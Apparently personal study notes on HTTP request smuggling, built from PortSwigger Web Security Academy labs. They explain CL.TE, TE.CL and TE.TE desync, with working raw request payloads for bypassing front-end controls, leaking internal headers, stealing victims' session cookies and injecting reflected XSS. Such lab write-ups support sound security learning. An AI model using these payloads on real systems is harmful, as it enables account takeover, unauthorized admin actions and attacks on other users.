HTTP Request Smuggling

Parsing of Content-Length and Transfer-Encoding headers leads to messing with boundaries of requests

Note: This page was made as notes while learning HTTP Request Smuggling myself, using the Portswigger resources and labs

Description

What is HTTP request smuggling? Tutorial & Examples | Web Security AcademyWebSecAcademy

Portswigger explaining what HTTP Request Smuggling is

HTTP Request Smuggling is possible when the parsing of Content-Length and Transfer-Encoding: chunked headers are different for front-end and back-end servers.

Types

Name	Front-end	Back-end
CL.TE	Content-Length	Transfer-Encoding
TE.CL	Transfer-Encoding	Content-Length
TE.TE	Transfer-Encoding	Transfer-Encoding

TE.TE: Transfer-Encoding front-end, Transfer-Encoding backend, but one can be tricked into using Content-Length by obfuscating Transfer-Encoding header

Impact

• Smuggle HTTP in front of the next request by someone else

• Smuggle another request through front-end to back-end to bypass filters

Types

CL.TE

Lab: HTTP request smuggling, basic CL.TE vulnerability | Web Security AcademyWebSecAcademy

Portswigger lab for practicing CL.TE type

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 6
Transfer-Encoding: chunked

0

G

The front-end uses Content-Length: 6 which sends the whole body (0\r\nG\r) to the back-end. The back-end uses Transfer-Encoding: chunked which will read the first 0 and then stop because this signals the end. When anyone now does another request to the back-end, the G is already sent and prepended to it making the request GPOST if it was a POST before.

TE.CL

Lab: HTTP request smuggling, basic TE.CL vulnerability | Web Security AcademyWebSecAcademy

Portswigger lab for practicing TE.CL type

Burp Suite automatically fixes Content-Length, but it only is correct for the back-end after splitting the request. So turn off "Update Content-Length" setting in Repeater

POST /post/comment HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

61
GPOST /post/comment HTTP/1.1
Host: your-lab-id.web-security-academy.net


0

The front-end takes Transfer-Encoding: chunked, so it sends the whole body to the back-end. Then the back-end takes Content-Length: 4 and only reads the first 61\r bytes. The back-end server responds that the request does not contain the right parameters but this does not matter. Next, the GPOST is also sent to the back-end and when anyone now makes another request to the back-end, it will respond with the already done GPOST answer.

TE.TE

Lab: HTTP request smuggling, obfuscating the TE header | Web Security AcademyWebSecAcademy

Portswigger lab for practicing TE.TE type

Ways to confuse front-end and back-end:

Transfer-Encoding: xchunked

Transfer-Encoding: CHUNKED

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Depending on whether the front-end or back-end uses the Transfer-Encoding, it can become either CL.TE or TE.CL

Solution to the lab:

First tested TE.CL, and with double Transfer-Encoding header got a proxy timeout. This could be because one of the servers is waiting for more bytes, but not getting them.

POST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net
Content-Length: 4
Transfer-Encoding: x
Transfer-Encoding: chunked

61
GPOST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net

0

If the front-end uses Content-Length: 4 it only sends 61\r to the back-end. If the back-end then uses Transfer-Encoding it would see the 61 and wait for 97 more bytes, which it is not getting from the proxy causing a timeout. This would mean it is a CL.TE type instead. Trying the same with a CL.TE payload confirms this by solving the lab:

POST /post/comment HTTP/1.1
Host: 0a2d00fc03652cc4c04d3dae004e00af.web-security-academy.net
Content-Length: 6
Transfer-Encoding: x
Transfer-Encoding: chunked

0

G

Confirming Request Smuggling

Finding HTTP request smuggling vulnerabilities | Web Security AcademyWebSecAcademy

Portswigger explaining how to config this attack

CL.TE

Lab: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses | Web Security AcademyWebSecAcademy

Portswigger lab for practicing CL.TE and confirming it seeing a different response

Specify the requested location with GET /404, which will append cookies, etc. to the request making a GET CSRF

POST /post/comment HTTP/1.1
Host: 0ab8007103cb9890c061ef89005300ad.web-security-academy.net
Content-Length: 28
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X: X

TE.CL

Lab: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses | Web Security AcademyWebSecAcademy

Portswigger lab for practicing TE.CL and confirming it seeing a different response

Same idea as CL.TE, with x= in the body because the 0 will also be prepended to the next request. A lonely 0 in the next request would not be a valid header, so it needs to be the body.

POST /post/comment HTTP/1.1
Host: 0a3d00e204916fbbc028023900de0074.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

9d
GET /404 HTTP/1.1
Host: 0a3d00e204916fbbc028023900de0074.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Exploiting

Exploiting HTTP request smuggling vulnerabilities | Web Security AcademyWebSecAcademy

Portswigger explaining how to exploit a HTTP Request Smuggling attack in a practical scenario

CL.TE

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability | Web Security AcademyWebSecAcademy

Portswigger lab for performing CSRF using CL.TE

We can provide a complete HTTP request to prepend the next request by any victim. We can bypass front-end filters by sending an allowed request in the attack request, and an unauthorized request in the normal request that we smuggle. To make sure the headers from the original request don't interfere we can put it in a body like seen below:

POST /post/comment HTTP/1.1
Host: 0a81003103886215c0150d01000b0097.web-security-academy.net
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=

TE.CL

Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability | Web Security AcademyWebSecAcademy

Portswigger lab for performing CSRF using TE.CL

Same as confirming TE.CL

POST /post/comment HTTP/1.1
Host: 0abb004d04e98969c1810092007c00eb.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked

86
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Leaking headers

Lab: Exploiting HTTP request smuggling to reveal front-end request rewriting | Web Security AcademyWebSecAcademy

Portswigger lab for leaking internal headers with HTTP Request Smuggling

Leak data in comment content. Put comment= last to make the next request get appended and read as part of the comment. Make sure to use long Content-Length but not too long.

POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Length: 316
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: session=Q9Ra3PMynaM4qv23aTWPITOPBaYvqYB9
Content-Length: 200

csrf=YvyCU73Jt8tqxDbiZ11WaMbofDCpyVI7&postId=6&name=server&[email protected]&website=&comment=leak

Now the page shows the X-mxqMOU-Ip header

leakGET / HTTP/1.1 X-mxqMOU-Ip: 82.74.120.62 Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.ne

Use this header like before to make a request look like it was valid from the front-end

POST /post/comment HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Length: 211
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: 0af200a104c3ef7bc068832d001b00ff.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
X-mxqMOU-Ip: 127.0.0.1

x=

Leaking cookies from other users

Lab: Exploiting HTTP request smuggling to capture other users' requests | Web Security AcademyWebSecAcademy

Portswigger lab for leaking cookies from other users

This type of attack can also be used to leak Cookies from requests from other users, by storing the data is a comment for example. The Content-Length needs to be perfect though, to find the entire cookie

POST /post/comment HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Content-Length: 315
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded

0

POST /post/comment HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Content-Length: 806
Cookie: session=IyDgegJn5pvpxeO7vkMC1Iydonlav5jb
Content-Type: application/x-www-form-urlencoded

csrf=4Aj33NnmRAndszvq5fEyTFBl9azQCxef&postId=3&name=name&[email protected]&website=&comment=leak

leakGET / HTTP/1.1 Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36 Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-fingerprint=zaSVR3HxS6nNgzvQkfktkk4dIrca0LI7; secret=YR3JdIRPEfOt8RibS8hhfRQphpxLFzeH; session=0ANQ8MLDM5n54ah26iXuhxKNERfTGtr3

GET /my-account HTTP/1.1
Host: 0a560094034333f3c0a51a2c00dd0027.web-security-academy.net
Cookie: victim-fingerprint=zaSVR3HxS6nNgzvQkfktkk4dIrca0LI7; secret=YR3JdIRPEfOt8RibS8hhfRQphpxLFzeH; session=0ANQ8MLDM5n54ah26iXuhxKNERfTGtr3

Set headers on victim request to get XSS

Lab: Exploiting HTTP request smuggling to deliver reflected XSS | Web Security AcademyWebSecAcademy

Portswigger lab for changing the request from a victim to return XSS

POST /post/comment HTTP/1.1
Host: 0a2b004204969863c0e7238600e70055.web-security-academy.net
Content-Length: 79
Transfer-Encoding: chunked

0

GET /post?postId=9 HTTP/1.1
User-Agent: "><script>alert(1)</script>
X: X